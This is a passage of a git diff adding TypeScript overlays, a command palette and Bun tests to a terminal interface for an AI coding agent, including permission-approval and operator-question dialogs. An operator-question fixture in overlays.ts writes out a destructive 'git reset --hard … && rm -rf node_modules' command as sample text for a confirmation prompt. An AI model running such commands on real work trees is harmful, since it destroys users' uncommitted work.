}) +}) diff --git a/src/tui-opentui/overlays.ts b/src/tui-opentui/overlays.ts new file mode 100644 index 000000000..f495549fb --- /dev/null +++ b/src/tui-opentui/overlays.ts @@ -0,0 +1,184 @@ +/** + * Wave 5 primary overlays — permissions, operator question, model/provider. + * Pure content builders + open helpers on the shared list/focus/geometry kit. + */ + +import type { + AppShell, + ItemDescription, + OverlaySelection, + PrimaryOverlayKind, +} from "./shell.js" +import type { KeyEvent } from "@opentui/core" +import { wrapOverlayText } from "./overlay-body.js" +import { openListOverlay } from "./shell.js" + +export type { OverlaySelection, PrimaryOverlayKind } + +/** Fixture: 30 permission options (acceptance scenario 2). */ +export function makePermissionItems(count = 30): readonly string[] { + const n = Math.max(1, Math.floor(count)) + return Array.from({ length: n }, (_, i) => { + if (i === 0) return "Allow once" + if (i === 1) return "Allow session" + if (i === 2) return "Always allow this tool" + if (i === 3) return "Deny" + return `Allow tool call #${i - 3}` + }) +} + +/** Fixture: long operator question + many choices (acceptance scenario 3). */ +export function makeOperatorQuestion(): { + readonly body: string + readonly choices: readonly string[] +} { + const body = [ + "The agent wants to run a destructive command on the working tree.", + "Review the plan carefully — this cannot be undone from the TUI.", + "", + "Proposed: git reset --hard origin/main && rm -rf node_modules", + "Files at risk: 128 modified, 12 untracked.", + "Continue only if you accept discarding local work.", + ].join("\n") + const choices = [ + "Cancel — keep working tree", + "Allow this once", + "Allow for this session", + "Always allow git reset", + "Open diff first", + "Ask again later", + "Switch to dry-run", + "Abort agent run", + ] + return { body, choices } +} + +/** Fixture: model/provider picker list. */ +export function makeModelPickerItems(): readonly string[] { + return [ + "anthropic / claude-sonnet-4", + "anthropic / claude-opus-4", + "openai / gpt-5", + "openai / gpt-5-mini", + "google / gemini-2.5-pro", + "google / gemini-2.5-flash", + "xai / grok-3", + "local / ollama-llama3.3", + "codex / o3", + "codex / o4-mini", + ] +} + +/** Wrap overlay body text to terminal width on word boundaries (no paint). */ +export function wrapOverlayBody( + text: string, + width: number, + maxLines = 8, +): readonly string[] { + return wrapOverlayText(text, width, maxLines) +} + +export type OpenPermissionsOpts = { + readonly items?: readonly string[] + /** Stable ids aligned with `items` (e.g. ApprovalScope.id). */ + readonly itemIds?: readonly string[] + readonly activeIndex?: number + /** Formatted approval context painted above the choices. */ + readonly body?: string + /** Per-open accept; host binds resolve(ApprovalOutcome). */ + readonly onAccept?: (selection: OverlaySelection) => void + /** Per-open expand/collapse of collapsed command payloads. */ + readonly onToggleExpand?: () => void +} + +export function openPermissionsOverlay( + shell: AppShell, + opts?: OpenPermissionsOpts, +): void { + const items = opts?.items ?? makePermissionItems(30) + openListOverlay(shell, { + kind: "permissions", + title: "permissions", + items, + activeIndex: opts?.activeIndex ?? 0, + frameId: "overlay-permissions", + ...(opts?.body !== undefined ? { body: opts.body } : {}), + ...(opts?.itemIds !== undefined ? { itemIds: opts.itemIds } : {}), + ...(opts?.onToggleExpand !== undefined + ? { onToggleExpand: opts.onToggleExpand } + : {}), + ...(opts?.onAccept !== undefined ? { onAccept: opts.onAccept } : {}), + }) +} + +export type OpenOperatorOpts = { + readonly body?: string + readonly choices?: readonly string[] + readonly itemIds?: readonly string[] + readonly activeIndex?: number + /** Per-open accept; host binds OperatorResult mapping. */ + readonly onAccept?: (selection: OverlaySelection) => void + /** Per-open free-text answer; host binds the custom OperatorResult. */ + readonly onTextAnswer?: (text: string) => void +} + +/** + * Line appended to the question when the operator can neither pick nor type. + * The overlay must always say what its one available action is rather than + * offering "Enter choose" against an empty list. + */ +const NO_WAY_TO_ANSWER = + "No options were offered and this question takes no typed answer. Press Esc to dismiss it." + +export function openOperatorOverlay( + shell: AppShell, + opts?: OpenOperatorOpts, +): void { + const fixture = makeOperatorQuestion() + const choices = opts?.choices ?? fixture.choices + const body = opts?.body ?? fixture.body + const stranded = choices.length === 0 && opts?.onTextAnswer === undefined + openListOverlay(shell, { + kind: "operator", + title: "operator question", + body: stranded ? `${body}\n\n${NO_WAY_TO_ANSWER}` : body, + items: choices, + activeIndex: opts?.activeIndex ?? 0, + frameId: "overlay-operator", + ...(opts?.itemIds !== undefined ? { itemIds: opts.itemIds } : {}), + ...(opts?.onAccept !== undefined ? { onAccept: opts.onAccept } : {}), + ...(opts?.onTextAnswer !== undefined + ? { onTextAnswer: opts.onTextAnswer } + : {}), + }) +} + +export type OpenModelPickerOpts = { + readonly items?: readonly string[] + /** Stable model/provider ids aligned with `items`. */ + readonly itemIds?: readonly string[] + readonly activeIndex?: number + /** Per-open accept; host binds model switch. */ + readonly onAccept?: (selection: OverlaySelection) => void + /** Description-zone source, keyed by the focused row's id. */ + readonly describe?: (itemId: string) => ItemDescription | null + /** Bare-key claim on the focused row (e.g. `f` to toggle favorite). */ + readonly onAction?: (itemId: string, key: KeyEvent) => boolean +} + +export function openModelPickerOverlay( + shell: AppShell, + opts?: OpenModelPickerOpts, +): void { + openListOverlay(shell, { + kind: "model_picker", + title: "model / provider", + items: opts?.items ?? makeModelPickerItems(), + activeIndex: opts?.activeIndex ?? 0, + frameId: "overlay-model", + ...(opts?.itemIds !== undefined ? { itemIds: opts.itemIds } : {}), + ...(opts?.onAccept !== undefined ? { onAccept: opts.onAccept } : {}), + ...(opts?.describe !== undefined ? { describe: opts.describe } : {}), + ...(opts?.onAction !== undefined ? { onAction: opts.onAction } : {}), + }) +} diff --git a/src/tui-opentui/palette-paint.test.ts b/src/tui-opentui/palette-paint.test.ts new file mode 100644 index 000000000..c87bdfc32 --- /dev/null +++ b/src/tui-opentui/palette-paint.test.ts @@ -0,0 +1,195 @@ +/** + * Frame-level checks for the command palette's three-column rows: the category + * prefix, the right-aligned chord, and how they degrade at narrow widths. + */ +import { describe, expect, test } from "bun:test" + +import type { KeyEvent } from "@opentui/core" + +import { withTestRenderer } from "./harness" +import { openModelPickerOverlay } from "./overlays" +import { + createAppShell, + handlePaletteFilterKey, + openPalette, + type AppShell, +} from "./shell" + +async function paletteFrame(width: number): Promise { + return withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: width, rows: 32 }, + wireKeys: false, + run: "idle", + }) + openPalette(shell) + await h.renderOnce() + return h + .captureCharFrame() + .split("\n") + .map((line) => line.replace(/^\s*│/, "").replace(/│\s*$/, "").trimEnd()) + }, + { width, height: 32 }, + ) +} + +function rowFor(rows: readonly string[], label: string): string | undefined { + return rows.find((r) => r.includes(label)) +} + +describe("command palette rows", () => { + test("titles the box with a broken rule and shows the filter prompt", async () => { + const rows = await paletteFrame(100) + expect(rows.some((r) => r.startsWith("─ command palette ─"))).toBe(true) + expect(rows.some((r) => r.trim() === ">")).toBe(true) + }) + + test("paints the category prefix and right-aligned chord at 100 columns", async () => { + const rows = await paletteFrame(100) + const help = rowFor(rows, "Show keymap help") + expect(help).toBeDefined() + expect(help).toMatch(/^\s+[> ] view\s+Show keymap help\s+\?$/) + + const copy = rowFor(rows, "Copy active message / tool") + expect(copy?.endsWith("Alt+C")).toBe(true) + }) + + test("keeps both side columns at 60 columns", async () => { + const rows = await paletteFrame(60) + const help = rowFor(rows, "Show keymap help") + expect(help).toContain("view") + expect(help?.endsWith("?")).toBe(true) + }) + + test("drops the chord first at 48 columns, keeping the category", async () => { + const rows = await paletteFrame(48) + const help = rowFor(rows, "Show keymap help") + expect(help).toContain("view") + expect(help?.endsWith("?")).toBe(false) + + const copy = rowFor(rows, "Copy active") + expect(copy?.includes("Alt+C")).toBe(false) + }) +}) + +describe("palette filters as you type", () => { + function withPalette( + fn: (shell: AppShell) => void, + width = 100, + ): Promise { + return withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: width, rows: 32 }, + wireKeys: false, + run: "idle", + }) + try { + openPalette(shell, { typeToFilter: true }) + fn(shell) + } finally { + shell.dispose() + } + }, + { width, height: 32 }, + ) + } + + function press(shell: AppShell, seq: string): boolean { + return handlePaletteFilterKey(shell, { + name: seq, + sequence: seq, + ctrl: false, + meta: false, + option: false, + } as unknown as KeyEvent) + } + + const BACKSPACE = { + name: "backspace", + sequence: "", + ctrl: false, + meta: false, + option: false, + } as unknown as KeyEvent + + test("printable keys narrow the list and show in the query row", async () => { + await withPalette((shell) => { + const all = shell.paletteCommands.length + expect(press(shell, "m")).toBe(true) + press(shell, "o") + press(shell, "d") + expect(shell.paletteCommands.length).toBeLessThan(all) + expect(shell.paletteCommands.some((c) => c.id === "model_picker")).toBe( + true, + ) + expect(shell.overlayBodyLines[0]).toBe("> mod") + }) + }) + + test("backspace widens the list again", async () => { + await withPalette((shell) => { + press(shell, "m") + press(shell, "o") + press(shell, "d") + const narrowed = shell.paletteCommands.length + expect(handlePaletteFilterKey(shell, BACKSPACE)).toBe(true) + expect(handlePaletteFilterKey(shell, BACKSPACE)).toBe(true) + expect(shell.paletteCommands.length).toBeGreaterThan(narrowed) + expect(shell.overlayBodyLines[0]).toBe("> m") + }) + }) + + test("j and k type into the query instead of navigating", async () => { + await withPalette((shell) => { + const before = shell.overlayList?.activeIndex + expect(press(shell, "j")).toBe(true) + expect(shell.overlayList?.activeIndex).toBe(before ?? 0) + expect(shell.overlayBodyLines[0]).toBe("> j") + }) + }) + + test("arrow and page keys are left to the overlay", async () => { + await withPalette((shell) => { + for (const name of ["down", "up", "pagedown", "pageup", "return"]) { + const key = { + name, + sequence: "", + ctrl: false, + meta: false, + option: false, + } as unknown as KeyEvent + expect(handlePaletteFilterKey(shell, key)).toBe(false) + } + }) + }) + + test("a query matching nothing leaves the palette open and empty", async () => { + await withPalette((shell) => { + for (const ch of "zzqq") press(shell, ch) + expect(shell.paletteCommands).toEqual([]) + expect(shell.overlayItems).toEqual(["(no matches)"]) + expect(shell.overlayKind).toBe("palette") + }) + }) + + test("other overlays keep j/k navigation", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 100, rows: 32 }, + wireKeys: false, + run: "idle", + }) + try { + openModelPickerOverlay(shell) + expect(press(shell, "j")).toBe(false) + } finally { + shell.dispose() + } + }, + { width: 100, height: 32 }, + ) + }) +}) diff --git a/src/tui-opentui/palette.test.ts b/src/tui-opentui/palette.test.ts new file mode 100644 index 000000000..b01dbb2b9 --- /dev/null +++ b/src/tui-opentui/palette.test.ts @@ -0,0 +1,165 @@ +import { describe, expect, test } from "bun:test" +import { shortcutForPaletteId } from "./keybindings" +import { + DEFAULT_PALETTE_COMMANDS, + buildPaletteCatalog, + filterPaletteCommands, + formatPaletteRows, + paletteDispatchOf, + paletteLabels, + paletteRowColumns, + paletteRowLayout, + type PaletteRowColumns, +} from "./palette" + +describe("filterPaletteCommands", () => { + test("empty query returns full catalog", () => { + const all = filterPaletteCommands("") + expect(all.length).toBe(DEFAULT_PALETTE_COMMANDS.length) + expect(all).toEqual([...DEFAULT_PALETTE_COMMANDS]) + }) + + test("matches label substring", () => { + const hits = filterPaletteCommands("model") + expect(hits.some((c) => c.id === "model_picker")).toBe(true) + expect( + hits.every( + (c) => + c.label.toLowerCase().includes("model") || + (c.keywords ?? []).some((k) => k.includes("model")) || + c.id.includes("model"), + ), + ).toBe(true) + }) + + test("matches keywords", () => { + const hits = filterPaletteCommands("yank") + expect(hits.some((c) => c.id === "copy_active")).toBe(true) + }) + + test("no matches empty array", () => { + expect(filterPaletteCommands("zzzz-nope")).toEqual([]) + }) +}) + +describe("paletteLabels", () => { + test("stable order labels", () => { + const labels = paletteLabels(DEFAULT_PALETTE_COMMANDS) + expect(labels[0]).toBe("Open permissions") + expect(labels.length).toBe(DEFAULT_PALETTE_COMMANDS.length) + }) +}) + +describe("buildPaletteCatalog", () => { + test("registry commands append as dispatch command", () => { + const catalog = buildPaletteCatalog({ + commands: [ + { name: "compact", description: "Compact history" }, + + { name: "help", description: "Show help" }, + ], + }) + const compact = catalog.find((c) => c.id === "compact") + expect(compact?.dispatch).toBe("command") + expect(compact?.label).toContain("compact") + }) + + test("preferRegistry drops residual when registry uses same id", () => { + const catalog = buildPaletteCatalog({ + commands: [{ name: "help", description: "Slash help" }], + preferRegistry: true, + }) + const helps = catalog.filter((c) => c.id === "help") + expect(helps.length).toBe(1) + expect(paletteDispatchOf(helps[0]!)).toBe("command") + }) + + test("filter works on registry-built catalog", () => { + const catalog = buildPaletteCatalog({ + commands: [{ name: "plugins", description: "Manage plugins" }], + }) + const hits = filterPaletteCommands("plug", catalog) + expect(hits.some((c) => c.id === "plugins")).toBe(true) + }) +}) + +describe("palette row columns", () => { + test("residual openers carry a category", () => { + const cols = DEFAULT_PALETTE_COMMANDS.map((c) => + paletteRowColumns(c, shortcutForPaletteId), + ) + expect(cols.every((c) => c.category.length > 0)).toBe(true) + expect(cols.find((c) => c.label === "Show keymap help")?.category).toBe( + "view", + ) + }) + + test("registry commands get a category from their name", () => { + const catalog = buildPaletteCatalog({ + commands: [ + { name: "rename", description: "Name the session" }, + { name: "wobble", description: "A plugin command" }, + ], + }) + expect(catalog.find((c) => c.id === "rename")?.category).toBe("session") + expect(catalog.find((c) => c.id === "wobble")?.category).toBe("command") + }) + + test("shortcuts come from the shell keybinding table", () => { + const help = DEFAULT_PALETTE_COMMANDS.find((c) => c.id === "help") + expect(paletteRowColumns(help!, shortcutForPaletteId).shortcut).toBe("?") + const toggle = DEFAULT_PALETTE_COMMANDS.find((c) => c.id === "toggle_goal") + expect(paletteRowColumns(toggle!, shortcutForPaletteId).shortcut).toBe("") + }) +}) + +describe("formatPaletteRows", () => { + const ROWS: readonly PaletteRowColumns[] = [ + { category: "view", label: "Show keymap help", shortcut: "?" }, + { category: "edit", label: "Copy active message / tool", shortcut: "Alt+C" }, + { category: "session", label: "Resume prior session", shortcut: "" }, + ] + + test("renders category, label, and right-aligned shortcut at full width", () => { + const [help, copy] = formatPaletteRows(ROWS, 55) + expect(help).toHaveLength(55) + expect(help?.startsWith("view ")).toBe(true) + expect(help).toContain("Show keymap help") + expect(help?.trimEnd().endsWith("?")).toBe(true) + expect(copy?.trimEnd().endsWith("Alt+C")).toBe(true) + }) + + test("every row is exactly the requested width", () => { + for (const width of [40, 48, 60, 100]) { + for (const row of formatPaletteRows(ROWS, width)) { + expect(row).toHaveLength(width) + } + } + }) + + // The palette host spends the box border and the selection marker before the + // row starts, so a terminal N columns wide hands these rows N - 5. + const ROW_WIDTH_AT_60 = 55 + const ROW_WIDTH_AT_48 = 43 + + test("the shortcut column drops first as width narrows", () => { + expect(paletteRowLayout(ROWS, ROW_WIDTH_AT_60)).toMatchObject({ + showCategory: true, + showShortcut: true, + }) + expect(paletteRowLayout(ROWS, ROW_WIDTH_AT_48)).toMatchObject({ + showCategory: true, + showShortcut: false, + }) + const rows = formatPaletteRows(ROWS, ROW_WIDTH_AT_48) + expect(rows[0]?.includes("?")).toBe(false) + expect(rows[0]?.startsWith("view")).toBe(true) + }) + + test("the category drops next, and the label always survives", () => { + const layout = paletteRowLayout(ROWS, 34) + expect(layout.showCategory).toBe(false) + expect(layout.showShortcut).toBe(false) + expect(formatPaletteRows(ROWS, 34)[0]?.trimEnd()).toBe("Show keymap help") + }) +}) diff --git a/src/tui-opentui/palette.ts b/src/tui-opentui/palette.ts new file mode 100644 index 000000000..3b672f068 --- /dev/null +++ b/src/tui-opentui/palette.ts @@ -0,0 +1,400 @@ +/** + * Command palette — Amp-class discovery catalog + filter (pure). + * Ctrl+O opens (reclaimed from tool-expand); Esc restores prior focus. + * Shell owns paint / focus stack via openPalette. + * + * Catalog = residual product openers + optional registry-backed slash commands. + * Registry import is NOT hard-wired here (avoids circular / heavy deps); the host + * injects `listCommands()` results via `buildPaletteCatalog` / `openPalette` opts. + */ + +import { sliceToWidth, stringWidth } from "../tui/view/height.js" + +/** Residual product actions owned by the shell (open overlays / chrome toggles). */ +export type PaletteActionId = + | "permissions" + | "operator" + | "model_picker" + | "toggle_goal" + | "toggle_task" + | "toggle_agents" + | "copy_active" + | "toggle_mouse" + | "help" + | "settings" + | "plugins" + | "resume" + | "mentions" + | "observe" + +const RESIDUAL_ACTION_IDS = new Set([ + "permissions", + "operator", + "model_picker", + "toggle_goal", + "toggle_task", + "toggle_agents", + "copy_active", + "toggle_mouse", + "help", + "settings", + "plugins", + "resume", + "mentions", + "observe", +]) + +export function isResidualActionId(id: string): id is PaletteActionId { + return RESIDUAL_ACTION_IDS.has(id) +} + +/** + * How select dispatches: + * - residual — shell `runPaletteAction` (overlays / chrome) + * - command — injectable `onCommand(name)` for registry slash commands + */ +export type PaletteDispatch = "residual" | "command" + +/** + * Grouping shown in the palette's first column. + * + * The command registry (`src/tui/commands/built-in.ts`) carries no category + * field, and `RegistryCommandSource` only forwards name + description, so there + * is no grouping to read. These are the smallest set that covers what the + * registered commands and residual openers actually are; anything unmapped + * falls back to `command` rather than being guessed into a group. + */ +export type PaletteCategory = + | "session" + | "model" + | "config" + | "view" + | "agent" + | "edit" + | "command" + +/** Registry command name → category. Names come from built-in.ts registrations. */ +const REGISTRY_CATEGORIES: Readonly> = { + clear: "session", + new: "session", + rename: "session", + cost: "session", + goal: "session", + model: "model", + fast: "model", + standard: "model", + clever: "model", + settings: "config", + permissions: "config", + plugins: "config", + mcp: "config", + help: "view", + changelog: "view", + "paste-image": "edit", +} + +export function categoryForCommandName(name: string): PaletteCategory { + return REGISTRY_CATEGORIES[name] ?? "command" +} + +export type PaletteCommand = { + /** Residual action id or registry command name. */ + readonly id: string + readonly label: string + /** Optional keywords for fuzzy-ish filter. */ + readonly keywords?: readonly string[] + /** + * Select dispatch target. Defaults to residual when id is a known residual + * action; registry-built items set `"command"` explicitly. + */ + readonly dispatch?: PaletteDispatch + /** Dim prefix column. Defaults to `command` when omitted. */ + readonly category?: PaletteCategory +} + +/** Minimal registry shape — matches `listCommands()` entries without importing them. */ +export type RegistryCommandSource = { + readonly name: string + readonly description: string +} + +/** Default Amp-class residual openers (product actions, not slash-only). */ +export const DEFAULT_PALETTE_COMMANDS: readonly PaletteCommand[] = [ + { + id: "permissions", + label: "Open permissions", + keywords: ["allow", "deny", "tool", "approve"], + dispatch: "residual", + category: "config", + }, + { + id: "operator", + label: "Ask operator question", + keywords: ["confirm", "choice", "prompt"], + dispatch: "residual", + category: "session", + }, + { + id: "model_picker", + label: "Switch model / provider", + keywords: ["model", "provider", "anthropic", "openai"], + dispatch: "residual", + category: "model", + }, + { + id: "toggle_goal", + label: "Toggle goal chrome", + keywords: ["goal", "chrome", "zone"], + dispatch: "residual", + category: "view", + }, + { + id: "toggle_task", + label: "Toggle task chrome", + keywords: ["task", "work", "chrome"], + dispatch: "residual", + category: "view", + }, + { + id: "toggle_agents", + label: "Toggle agents strip", + keywords: ["agents", "strip", "workers"], + dispatch: "residual", + category: "view", + }, + { + id: "copy_active", + label: "Copy active message / tool", + keywords: ["copy", "clipboard", "yank"], + dispatch: "residual", + category: "edit", + }, + { + id: "toggle_mouse", + label: "Toggle mouse capture (off by default so you can drag-select)", + keywords: ["mouse", "select", "selection", "copy", "drag"], + dispatch: "residual", + category: "view", + }, + { + id: "help", + label: "Show keymap help", + keywords: ["keys", "bindings", "help"], + dispatch: "residual", + category: "view", + }, + { + id: "settings", + label: "Open settings", + keywords: ["config", "preferences", "options"], + dispatch: "residual", + category: "config", + }, + { + id: "plugins", + label: "Manage plugins", + keywords: ["mcp", "extension", "plugin"], + dispatch: "residual", + category: "config", + }, + { + id: "resume", + label: "Resume prior session", + keywords: ["history", "session", "picker"], + dispatch: "residual", + category: "session", + }, + { + id: "mentions", + label: "Insert file mention", + keywords: ["@", "path", "file", "mention"], + dispatch: "residual", + category: "edit", + }, + { + id: "observe", + label: "Observe subagent session", + keywords: ["child", "worker", "observe", "agents"], + dispatch: "residual", + category: "agent", + }, +] + +/** + * Map registry command definitions to palette items. + * Caller filters hidden via `listCommands()` (or fixture) before passing. + */ +export function commandsToPaletteItems( + commands: readonly RegistryCommandSource[], +): PaletteCommand[] { + return commands.map((c) => ({ + id: c.name, + label: `/${c.name} — ${c.description}`, + keywords: [c.name, "slash", "command"], + dispatch: "command" as const, + category: categoryForCommandName(c.name), + })) +} + +export type BuildPaletteCatalogOpts = { + /** Residual openers. Defaults to DEFAULT_PALETTE_COMMANDS. */ + readonly residuals?: readonly PaletteCommand[] + /** + * Registry-shaped commands (from `listCommands()` or test fixtures). + * Already filtered for hidden / availability by the source. + */ + readonly commands?: readonly RegistryCommandSource[] + /** + * When true (default), skip residual openers whose id matches a registry + * command name so slash entries win for discovery of real handlers. + * Residual-only product actions (toggle_*, copy_active, …) always remain. + */ + readonly preferRegistry?: boolean +} + +/** + * Build a palette catalog from residual openers + optional registry commands. + * Pure — no registry import; host injects `listCommands()` results. + */ +export function buildPaletteCatalog( + opts?: BuildPaletteCatalogOpts, +): readonly PaletteCommand[] { + const residuals = opts?.residuals ?? DEFAULT_PALETTE_COMMANDS + const commands = opts?.commands ?? [] + const preferRegistry = opts?.preferRegistry !== false + + const registryNames = new Set(commands.map((c) => c.name)) + const residualItems = + preferRegistry && registryNames.size > 0 + ? residuals.filter((r) => !registryNames.has(r.id)) + : [...residuals] + + const commandItems = commandsToPaletteItems(commands) + return [...residualItems, ...commandItems] +} + +/** + * Resolve dispatch for a palette item. + * Explicit `dispatch` wins; else residual if id is a known residual action. + */ +export function paletteDispatchOf(cmd: PaletteCommand): PaletteDispatch { + if (cmd.dispatch === "command" || cmd.dispatch === "residual") { + return cmd.dispatch + } + return isResidualActionId(cmd.id) ? "residual" : "command" +} + +/** + * Case-insensitive substring filter over label + keywords. + * Empty query returns the full catalog (stable order). + */ +export function filterPaletteCommands( + query: string, + catalog: readonly PaletteCommand[] = DEFAULT_PALETTE_COMMANDS, +): readonly PaletteCommand[] { + const q = query.trim().toLowerCase() + if (q.length === 0) return catalog + return catalog.filter((cmd) => { + if (cmd.label.toLowerCase().includes(q)) return true + if (cmd.id.toLowerCase().includes(q)) return true + return (cmd.keywords ?? []).some((k) => k.toLowerCase().includes(q)) + }) +} + +/** Labels for the shared list viewport. */ +export function paletteLabels( + commands: readonly PaletteCommand[], +): readonly string[] { + return commands.map((c) => c.label) +} + +/** One palette row before it is fitted to a width. */ +export type PaletteRowColumns = { + readonly category: string + readonly label: string + /** Empty when the entry has no chord. */ + readonly shortcut: string +} + +export function paletteRowColumns( + cmd: PaletteCommand, + shortcutOf: (id: string) => string | undefined, +): PaletteRowColumns { + return { + category: cmd.category ?? "command", + label: cmd.label, + shortcut: shortcutOf(cmd.id) ?? "", + } +} + +/** Columns the label must keep before a side column is dropped. */ +const PALETTE_LABEL_MIN = 28 +const PALETTE_COL_GAP = 2 + +export type PaletteRowLayout = { + readonly showCategory: boolean + readonly showShortcut: boolean + readonly categoryWidth: number + readonly shortcutWidth: number +} + +/** + * Which columns survive at `width`. The shortcut goes first because it is + * redundant — the row it labels is right there and can be selected instead. + * The category goes second; the label alone is never dropped. + */ +export function paletteRowLayout( + rows: readonly PaletteRowColumns[], + width: number, +): PaletteRowLayout { + const categoryWidth = rows.reduce((n, r) => Math.max(n, stringWidth(r.category)), 0) + const shortcutWidth = rows.reduce((n, r) => Math.max(n, stringWidth(r.shortcut)), 0) + const afterCategory = + width - (categoryWidth > 0 ? categoryWidth + PALETTE_COL_GAP : 0) + const showShortcut = + shortcutWidth > 0 && + afterCategory - shortcutWidth - PALETTE_COL_GAP >= PALETTE_LABEL_MIN + const showCategory = categoryWidth > 0 && afterCategory >= PALETTE_LABEL_MIN + return { showCategory, showShortcut, categoryWidth, shortcutWidth } +} + +function fitLabel(label: string, width: number): string { + if (width <= 0) return "" + const columns = stringWidth(label) + // padEnd counts code units, so a label carrying a wide glyph has to be padded + // by the column shortfall rather than to a code-unit length. + if (columns <= width) return label + " ".repeat(width - columns) + if (width === 1) return "…" + // A wide glyph that will not fit the last column leaves the cut short, so the + // shortfall is padded back rather than shifting the chord column left. + const cut = `${sliceToWidth(label, width - 1)}…` + return cut + padTo(cut, width) +} + +/** Spaces needed to carry `text` out to `width` columns. */ +function padTo(text: string, width: number): string { + return " ".repeat(Math.max(0, width - stringWidth(text))) +} + +/** + * Render rows to exactly `width` columns: dim category, label, right-aligned + * chord. Column widths are shared across the batch so the three columns line up. + */ +export function formatPaletteRows( + rows: readonly PaletteRowColumns[], + width: number, +): readonly string[] { + const layout = paletteRowLayout(rows, width) + const head = layout.showCategory ? layout.categoryWidth + PALETTE_COL_GAP : 0 + const tail = layout.showShortcut ? layout.shortcutWidth + PALETTE_COL_GAP : 0 + const labelWidth = Math.max(0, width - head - tail) + return rows.map((row) => { + const category = layout.showCategory + ? row.category + padTo(row.category, layout.categoryWidth + PALETTE_COL_GAP) + : "" + const shortcut = layout.showShortcut + ? " ".repeat(PALETTE_COL_GAP) + padTo(row.shortcut, layout.shortcutWidth) + row.shortcut + : "" + return `${category}${fitLabel(row.label, labelWidth)}${shortcut}` + }) +} diff --git a/src/tui-opentui/product-host.test.ts b/src/tui-opentui/product-host.test.ts new file mode 100644 index 000000000..af0ec75ff --- /dev/null +++ b/src/tui-opentui/product-host.test.ts @@ -0,0 +1,305 @@ +/** + * Unit tests for product-host: pure helpers plus mount-level coverage of + * `mountProductHost` using the headless harness and fakes. + */ +import { EventEmitter } from "node:events" +import { describe, expect, test } from "bun:test" +import type { PermissionRequest } from "../permission/types.js" +import { createHarness } from "./harness.js" +import { acceptOverlaySelection } from "./shell.js" +import { + mountProductHost, + operatorResultFromSelection, + permissionChoices, + type ProductHostConfig, +} from "./product-host.js" + +function makeFakeSessionPort(): { + readonly sends: string[] + readonly interrupts: number + readonly send: ProductHostConfig["send"] + readonly interrupt: ProductHostConfig["interrupt"] + readonly deliver: NonNullable +} { + const sends: string[] = [] + let interrupts = 0 + return { + sends, + get interrupts() { + return interrupts + }, + send: (text) => { + sends.push(text) + }, + interrupt: () => { + interrupts += 1 + }, + deliver: (text) => { + sends.push(text) + }, + } +} + +async function mountHeadless( + overrides: Partial = {}, +): Promise<{ + host: Awaited> + emitter: EventEmitter + destroyHarness: () => void +}> { + const harness = await createHarness({ width: 80, height: 24 }) + const emitter = new EventEmitter() + const port = makeFakeSessionPort() + const host = await mountProductHost({ + title: "test-session", + eventEmitter: emitter, + send: port.send, + interrupt: port.interrupt, + deliver: port.deliver, + createRenderer: async () => harness.renderer, + ...overrides, + }) + return { host, emitter, destroyHarness: harness.destroy } +} + +function makeRequest( + scopes: PermissionRequest["scopes"] = [], +): PermissionRequest { + return { + tool: "bash", + action: "run", + subject: "ls -la", + scopes, + } +} + +describe("permissionChoices", () => { + test("always offers Reject + Accept once with stable itemIds", () => { + const { items, itemIds, outcomes } = permissionChoices(makeRequest()) + expect(items).toEqual(["Reject", "Accept once"]) + expect(itemIds).toEqual(["__deny__", "__once__"]) + expect(outcomes).toEqual([{ allow: false }, { allow: true }]) + expect(items).toHaveLength(itemIds.length) + expect(items).toHaveLength(outcomes.length) + }) + + test("appends scopes with hint labels and persist when pattern set", () => { + const scope = { + id: "session-bash", + label: "Allow bash for session", + pattern: "bash:*", + hint: "session", + grant: "session" as const, + } + const { items, itemIds, outcomes } = permissionChoices( + makeRequest([scope]), + ) + expect(items[2]).toBe("Allow bash for session (session)") + expect(itemIds[2]).toBe("session-bash") + expect(outcomes[2]).toEqual({ allow: true, persist: scope }) + }) + + test("scope with null pattern allows without persist", () => { + const scope = { + id: "once-path", + label: "This path only", + pattern: null, + } + const { outcomes, itemIds } = permissionChoices(makeRequest([scope])) + expect(itemIds[2]).toBe("once-path") + expect(outcomes[2]).toEqual({ allow: true }) + expect("persist" in (outcomes[2] ?? {})).toBe(false) + }) + + test("selection index maps to correct outcome (deny / once / scope)", () => { + const scope = { + id: "proj", + label: "Project", + pattern: "read:*", + } + const { outcomes } = permissionChoices(makeRequest([scope])) + expect(outcomes[0]).toEqual({ allow: false }) + expect(outcomes[1]).toEqual({ allow: true }) + expect(outcomes[2]).toEqual({ allow: true, persist: scope }) + // out-of-range fallback used by host + expect(outcomes[99] ?? { allow: false }).toEqual({ allow: false }) + }) +}) + +describe("operatorResultFromSelection", () => { + test("valid index → { kind: option, index }", () => { + expect(operatorResultFromSelection({ index: 0 }, 3)).toEqual({ + kind: "option", + index: 0, + }) + expect(operatorResultFromSelection({ index: 2 }, 3)).toEqual({ + kind: "option", + index: 2, + }) + }) + + test("out-of-range / negative → { kind: cancel }", () => { + expect(operatorResultFromSelection({ index: -1 }, 2)).toEqual({ + kind: "cancel", + }) + expect(operatorResultFromSelection({ index: 2 }, 2)).toEqual({ + kind: "cancel", + }) + expect(operatorResultFromSelection({ index: 0 }, 0)).toEqual({ + kind: "cancel", + }) + }) +}) + +describe("mountProductHost", () => { + test("stream events emitted on the event emitter paint rows into the shell", async () => { + const { host, emitter } = await mountHeadless() + try { + emitter.emit("event", { type: "user", text: "hello there" }) + emitter.emit("event", { type: "assistant", text: "hi back" }) + expect(host.shell.streamLog).toEqual([ + { role: "user", text: "hello there" }, + { role: "assistant", text: "hi back" }, + ]) + } finally { + host.dispose() + } + }) + + test("history.hydrate replays blocks as stream rows", async () => { + const { host, emitter } = await mountHeadless() + try { + emitter.emit("history.hydrate", [ + { type: "user", content: "past prompt" }, + { type: "text", content: "past reply" }, + { type: "unknown" }, + ]) + expect(host.shell.streamLog).toEqual([ + { role: "user", text: "past prompt" }, + { role: "assistant", text: "past reply" }, + ]) + } finally { + host.dispose() + } + }) + + test("session.title updates the shell header", async () => { + const { host, emitter } = await mountHeadless() + try { + expect(host.shell.baseTitle).toBe("test-session") + emitter.emit("session.title", "renamed session") + expect(host.shell.baseTitle).toBe("renamed session") + } finally { + host.dispose() + } + }) + + test("permission.gate opens the overlay and resolves through the emitter's resolve callback", async () => { + const { host, emitter } = await mountHeadless() + try { + let resolved: unknown + const request: PermissionRequest = { + tool: "bash", + action: "run", + subject: "ls", + scopes: 